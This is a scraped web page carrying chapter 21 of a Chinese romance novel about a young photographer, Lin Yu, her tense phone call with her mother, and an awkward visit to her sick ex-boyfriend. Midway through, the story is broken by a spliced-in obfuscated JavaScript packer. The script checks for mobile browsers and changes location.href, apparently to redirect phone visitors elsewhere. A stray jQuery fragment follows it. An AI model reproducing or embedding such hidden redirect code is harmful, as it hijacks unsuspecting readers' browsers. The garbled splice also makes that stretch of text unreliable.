21. 第 21 章

作品:《特殊朋友[破镜重圆]

    自上次于燃陪她去海城一中取景后,两人又有一段时间没有联系,林余这几天除了剪片修图就是玩手机,三天没出过门,全靠外卖活着。


    室内昏暗,窗帘紧闭,床铺没有整理,被子凌乱而艺术的堆成了一座小山。


    林余抱着枕头,靠坐在沙发和茶几的过道中,盘着双腿玩手机。


    手机反射出来的白光衬得她因熬夜而憔悴的面孔更显苍白。


    林余在刷手机。


    她先在小红薯上看了一眼自己的自媒体账号,最近没发什么新作品,只涨了500粉丝,又切去小号看看同行们都在干什么。


    小红薯的推荐机制十分神奇,似乎用户的一举一动都被它放在眼里。


    各种摄影技巧、海城旅游攻略,这是林余常刷的。


    各种实习信息,春招补录,秋招提前批,这是她父母朋友会转发给她的内容。


    各类萌宠视频、美食视频,林余刷到必赞。


    林余刷得很快,扫视三秒,立马下拉,却没什么感兴趣的内容,但也不知道该干什么。


    直到她刷到一个帖子,标题是:分手后当仇人还是朋友?


    底下有投票,林余没有投,直接选择了“查看投票结果”,有百分之六十一的人认为当仇人,百分之三十九的人认为当朋友。


    再往下滑,高赞评论是:真的有人能和前男友做朋友吗?看他过得比你好?看他后任比你优秀?还要给他交份子钱?脑子有坑吧!


    帖子很热,有十万多点赞,评论也近两万。


    林余滑动的手指顿住,轻轻点在这条评论上。


    骂得好脏。


    好有道理。


    还是不要往下翻了。


    林余习惯性的点击两下屏幕,然后退出。


    她接着刷美食视频,突然的,有电话打进来,备注上写着“妈妈”。


    林余接通。


    她不由的回忆起刚来海城时,和妈妈的争吵。


    其实也不算争吵,是单方面的被输出观点,林余只是听着。


    当时说出那么多狠话的人,现在又主动打电话过来,好像什么都没发生。


    林母:“鱼鱼,在海城玩得怎么样啊?这么久也不给妈妈打个电话。”


    林余抱紧枕头,自动忽略她后面那句话:“挺好的,海城空气比京市好很多,风景也漂亮。”


    林母:“那就行,来海城那么多天,没有水土不服吧?你从小就身体弱,一去陌生的地方就容易发烧。你六岁的时候去滨城玩,好奇喝了一口海水,当晚就发烧上吐下泻了......”


    林余打断她:“妈,这件事你已经讲了八百遍了。”有必要一直讲吗?


    林母:“我就是随便说说,你不喜欢我就不提了。”


    “对了,你姐姐下个月要来海城出差,你不也在海城吗?姐妹俩互相照应着,带你姐姐也玩一下。”


    林余顿了下,说:“没钱,带不了。”


    林母嗔怪:“你姐姐有钱,你带她玩一下,叫她请你就好了。”


    林余的姐姐林鹤,Q大美院出身,出国留学一年,回国后自己创业,开了一家服装公司,现如今在全国也小有名气,是他们家三代以内最有钱的人。


    林余其实和她不熟,两个人都不爱说话,在她小学时还十分崇拜姐姐,觉得姐姐好聪明好厉害,但两人毕竟相差十岁,没有共同语言。


    且越长大越知事理,她不喜欢老是被拿来和林鹤比较。


    但林鹤要真来海城,作为妹妹,她不好不出面。


    林余只好答应林母:“嗯,行,到时候叫她联系我吧。”


    林母还有话说:“你跟着你姐姐回京市吧,一个月,也玩够该收心了吧?”


    “我在C大计算机系也认识一些教授朋友,咨询了你的就业问题。老师们都一致觉得你很有潜力,可以进大公司工作,你还是应届生,要抓住最好的机会。在京市优秀的人永远很多,永远有比你优秀的人,到时候后悔可就迟了。”


    林余和母亲的谈话永远都会绕回到这个问题上。


    母亲是大学文科教授,在K大任职。


    她所任教的专业是个不好找工作的专业,近年来就业率持续走低,见惯了学生们毕业即失业,甚至在家待业两三年都找不到工作,对林余的未来十分焦虑。


    自林余进入大学起就不断的试图指导她的就业方向。


    林余觉得压力好大,和林母讲不到一起去。


    她反问林母:“什么是最好的机会?”


    林母理所当然的回答:“虽然现在毕业两年内,没交社保都算应届生。但有哪家好公司会缺人,要一个空闲半年一年的应届生,而不选择对工作更加积极,能够提前实习,毕业就工作的应届生?”


    “京市人才这么多,真的不要觉得你是C大毕业的就有多少优势,毕业第一份工作的平台很重要,选择不好可能会对一辈子的职业生涯造成负面影响的。”


    林余冷笑一声:“你小红薯刷多了吧?”


    “京市找不到工作我就去沪市、深市、海城......再不然我去摇奶茶,在华国我还能饿死?毕业找不到工作就完蛋了,按你这么说全华国一半的人职业生涯都不行了。林鹤毕业创业第一年收入为0是不是早就完蛋了?你五十岁都没评上教授是不是也完蛋了?”


    “林余!”林母在电话那头叫住她,“我在好好和你说话,你发什么脾气?你不用和我说着这些,人教人教不会,事教人一教就会。”


    “再见。”林余挂断电话。


    她本来半死不活的刷着手机,林母这电话一来,倒是让她精神得能绕民宿跑十圈。


    林余深呼吸,觉得房间内的空间实在太过逼仄。


    她开门,决定出门走走。


    林余换下睡衣,随便套上一件裙子出门。


    民宿环境不错,可供散步的地方挺多,林余踏出民宿大门,燥热瞬间袭来。


    海城的热和京市的热不一样,带着海的湿和润,人的皮肤很容易就出汗出油,黏在身上特别难受,林余一个干皮都觉得自己不用再擦任何补水物品了。


    于是,林余默默的退后一步,又退回了被空调覆盖的民宿大厅。


    大厅正中央就是便签墙,木质的厚实楼梯在正中间,等待陌生的旅人爬上去留下自己的印记,林余对这个地方有阴影。


    她转身进楼梯,准备爬楼梯意思一下算了。


    林余思绪混杂,走路也在想着事情,等她回过神来时,已经上到四楼,进入了四楼住户的走廊,四楼有八扇门,她正正好站在第四扇门旁边。


    最里面,就是于燃的房间。


    在和尹月泽吃饭时,几人偶然聊到过于燃住哪里。


    在民宿不远处是一个小区,于燃的家在那边,可工作繁忙,于燃在海城不同地方都有民宿、酒店,旅游旺季时总是随意居住。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168120|195564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    最近,他常住这家民宿。


    不知道今天,于燃在不在。


    林余向里望去,看到于燃的门把手上挂着一个外卖袋子。


    她走近几步,发现透明的塑料袋里装着一堆药。


    于燃生病了吗?


    她拿出手机,点开聊天框,却不知如何开口。


    难道要说“我不小心路过你的门口,看到门把手上挂着药,你怎么样了?”这个说辞太荒唐了。


    还是直接问“最近怎么样?”好尴尬的开场白。


    没等林余想好该不该发消息,房门传来声响,有人冒出头来,头发凌乱,胡乱上翘着,看起来很柔软的样子,骨节粗大的手匆匆掠过把手,和药擦肩而过,又摸了一把门把手,终于把药拽下来。


    林余刚想和他打招呼,却听见于燃闷哼一声,门也没关,药也丢在地上,往房间里走去。


    不会出什么事了吧?


    林余看着因于燃刚刚的动作,而大开的房门。


    房间设计精巧,从门口只能看到玄关,看不到里面的人在做什么。


    林余捡起散落在地上的药,说了一声:“于燃,我进来了?”


    厕所里传来水声。


    这扇门倒是闭得很紧。


    林余往里走去,把药放在桌子上,她看了一眼药名,药有好几盒,她最认得的就是布洛芬。


    听见洗手间里时断时续的水声,以及人的洗漱声,林余判断于燃应该还没有失去意识。


    她环视房间。


    这是一间一室一厅的套间,基本只有黑白灰三色,空气中弥漫着淡淡的檀木混杂着海盐的香气,这是于燃的房间,所以会充斥着他的味道。


    沙发上半盖着一件灰色的薄毯,被凌乱而随意的放着,似乎于燃刚刚就躺在那里休息,因为他的起身,有大半的被子都掉落在了地上。


    林余站在客厅里,走也不是,留也不是,盯着沙发看了半晌,还是选择把被子捡起来放到沙发上。


    “我房间里进贼了?”身后传来于燃的声音,语调轻慢,一点不慌,又因为发烧,他的声音带着沙哑,似夜深人静时拍打浅滩,沉默而有规律的海浪。


    “于燃,你没事吧?”林余的声音顿住。


    于燃像是刚洗完澡,黑发湿漉漉地随意向后捋去,露出凌厉的眉骨与一双没什么情绪的桃花眼。水珠沿着发尾滑下,没入半敞的胸膛。黑色浴衣被水浸得深浅不一,湿透的布料紧贴皮肤,清晰地勾勒出肩膀与胸腹的线条,随着呼吸微微起伏。


    她有些不知道该看哪,虽然分手前哪里都看过了,但他们现在只是普通朋友,而且还是友谊濒临破碎的普通朋友。


    “我路过你房间,看你房门开着,药撒了一地,就捡起来,进来看看。”


    “路过我房间?”


    “嗯......你要没事我就先走了,好好休息。”林余勾起一抹尴尬而不失礼貌的微笑,十分有礼貌的低着头往门口走去。


    却不想,于燃不知何时移到了玄关处,玄关处本就窄,他一靠林余非得贴着他才能出去,离得近了,林余才发现于燃的脸色十分不好,冷白的肌肤上染着红晕,桃花眼尾泛着红。


    “刚刚跑去厕所吐了,嫌脏就顺便洗了个澡。”于燃道,浴衣随着他往前的姿势又滑落一些,彻底露出紧实而饱满的肌肉,体温过分灼热,没有肌肤相触都能感受到。


    “我看起来很像没事的样子吗?”